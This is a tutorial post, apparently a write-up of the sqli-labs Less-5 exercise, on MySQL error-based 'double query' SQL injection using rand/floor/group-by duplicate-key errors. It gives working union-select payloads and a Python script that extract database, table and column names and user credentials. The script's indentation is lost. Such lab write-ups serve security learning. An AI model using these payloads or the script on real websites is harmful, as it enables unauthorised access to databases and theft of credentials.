Double query injection of SQL injection

(1 customer review)

Category: Tag:

What is double query injection?

The vulgar understanding is that a select statement is nested in a select statement to display useful information in the SQL error message.

First, understand the four functions/statements: Concat(), Rand(), Floor(), Count(), Group by clause

①concat() function

I understand it as a combination, and the confluence function connects the symbols in the brackets together

Connect the results together.

②Rand function

Used to return a random number between 01, the interval representation is [0,1). When the brackets are empty, a random number is generated.

When the parameters in brackets are fixed, the random number (random number sequence) is also fixed.

Let’s look at the random number sequence

select rand(3) from information_schema.columns limit 3;

Generate three columns of random numbers.

The comparison is still the same.

③Floor() function

Floor() function is a rounding function. When a non-integer is input, it returns the largest integer less than or equal to the input parameter.

④count() function

Used to count the number of rows.

⑤group by statement

Look at this sentence first:

select table_schema, table_name from information_schema.tables;

After adding the group by statement:

select table_schema, table_name from information_schema.tables by table_schema;

After adding, the data is obviously less repetitive. Only one duplicate database is displayed, and only the first table in the database is displayed.

What are the unexpected results if several functions are used flexibly?

Let’s practice

①The rand() function is used in combination with the floor() function.

select floor(rand(5)*12) from information_schema.columns limit 5;

Analyzing one by one from the inside to the outside, rand(5) will randomly generate 5 different values, but *12 is to expand [0, 1) to [0, 12), and the floor function is rounded.

②count() function and group by statement

select table_schema, count(*) from information_schema.tables group by table_schema;

Their combination is to count the number of tables in each database.

The principle is: Mysql will create a temporary table with two fields, group_key and tally, in which group_key is set with a UNIQUE constraint, that is, there cannot be two rows with the same value in the group_key column. When using the group by statement and count() function, the mysql database will first create a virtual table. When the query finds that the new key is not in the virtual table, the database will insert it into the table. If the key already exists in the database, then Find the count field corresponding to the key and add 1.

③The core statement of double query (combined use of several functions)

First look at the payload: select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;

If an error is reported, why is an error reported? Analyze: The SQL statement is grouped by column c, and column c is an alias of floor(rand(14)2). The first four digits of the random number sequence generated by floor(rand(14)2) are: 1, 0, 1, 0.

When we query, the mysql database will first create a temporary table, set the group_key and tally of the UNIQUE constraint. When the query finds that the new “group_key key” is not in the temporary table, the database will insert it into the temporary table. If the group_key key already exists in the database, find the “tally count” field corresponding to the key and add 1.

After the temporary table is created, Mysql starts to scan the information_schema.columns table row by row. The first grouping column encountered is floor(rand(14)2), and the value is calculated to be 1, and then to query whether there is group_key in the temporary table If there is no row of 1, add a row to the temporary table. The group_key is floor(rand(14)2). Note that it is calculated again at this time and the result is 0. So the group_key of a row actually inserted into the temporary table is 0 and tally is 1, and the temporary table becomes:

Use Mysql to continue to scan the information_schema.columns table, the second grouping column encountered is still floor(rand(14)2), and its value is calculated to be 1 (this 1 is the third number of the random number column), and then to query the temporary Is there a row with group_key of 1 in the table, and found that there is no row, so add a new row in the temporary table, group_key is floor(rand(14)2), at this time, it is calculated again, and the result is 0 (this 0 is a random number column The fourth number), so try to insert a row of data into the temporary table, group_key is 0, tally is 1. But in fact, there is already a row of group_key in the temporary table that is 0, and group_key has set a non-repeatable constraint, so an error will occur.

If you know the principle, just put it into practice. Take sql-lib/Less-5 as an example:

Determine the closing point:

Then query the database: Build payload:?id=-1′ union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a- -+

The database is displayed in the error message.

However, because it is a random value, there is only a 50% probability that an error will be reported.

The same payload is displayed normally.

Some big guys say that you can modify the seed used by rand() to make it 100% error, as follows, change rand() to rand(1), test 100% error, that is, payload:?id=-1′ union select 1 ,count(*),concat( (select database()),floor(rand(1)*2)) as a from information_schema.tables group by a –+

But I found that rand(1) does not report 100% errors. Instead, I tried several times and did not report errors. Only 4, 11, 14, 15 will report 100% errors. I don’t know why. Leave a suspense here, I hope the master can explain it.

Let’s explode the table. Earlier we knew that the current database is security, and construct the payload:?id=-1′ union select 1,count(*),concat( (select table_name from information_schema.tables where table_schema=’security’ limit 3 ,1),floor(rand(4)*2)) as a from information_schema.columns group by a –+

There are four tables in total, and we got what we wanted in the third one.

Know the table name, look at the column value, construct the payload:?id=-1′ union select 1,count(*),concat( (select column_name from information_schema.columns where table_name=’users’ limit 4,1),floor( rand(4)*2)) as a from information_schema.columns group by a –+

By modifying the value of X in limit X,1, I saw the password field at 3,1

I got the username field at 9,1

Start to take the user name and password to construct the payload:?id=-1′ union select 1,count(*),concat( (select username from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a –+

and ?id=-1' union select 1,count(*),concat( (select password from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

Note that the number of columns of username and password should be changed relative.

Do you find it troublesome, here is the python code

import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://192.168.1.158/sqlilabs/Less-5/?id=1'''
### Get the current database name ###
print('Current database name:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
### Get table name ###
print('Table name under database %s:' % db_name)
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
r = requests.get(url+payload)
if 'group_key' not in r.text:
break
table_name = r.text.split(':')[-2]
table_list.append(table_name)
print('[+]' + table_name)
### Get column name ###
#### Take the users table as an example ####
print('Column names under the %s table:' % table_list[-1])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
column_name = r.text.split(':')[-2]
column_list.append(column_name)
print('[+]' + column_name)
###Get field value ###
#### Take the username column as an example ####
print('Field value under %s column:' % column_list[-2])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
dump = r.text.split(':')[-2]
print('[+]' + dump)

After a few hours of injection, the code will come out in a few seconds.

The user name came out directly, I want to learn python, and I don’t know anything.

 

1 review for Double query injection of SQL injection

  1. tina

    payload: select floor(rand(seed)*2) c, count(*) from information_schema.columns group by c. At this time, the first group_key inserted into the temporary table must be the second digit of the random number column, corresponding to tally plus one. If the third to n-1 bits of the random number sequence are the same as the second, then the temporary table will only increase the value of tally. In the case where the nth bit is not equal to the second bit of the random number sequence, the group_key of the n+1th bit is inserted into the temporary table. And the probability that the n+1th place is the same as the second place is 50%, so when the range of the seed is large enough, the page has a half probability of being able to echo the error message (the magic is when the seed is limited to 10 Only 4 is feasible).

Add a review

Your email address will not be published. Required fields are marked *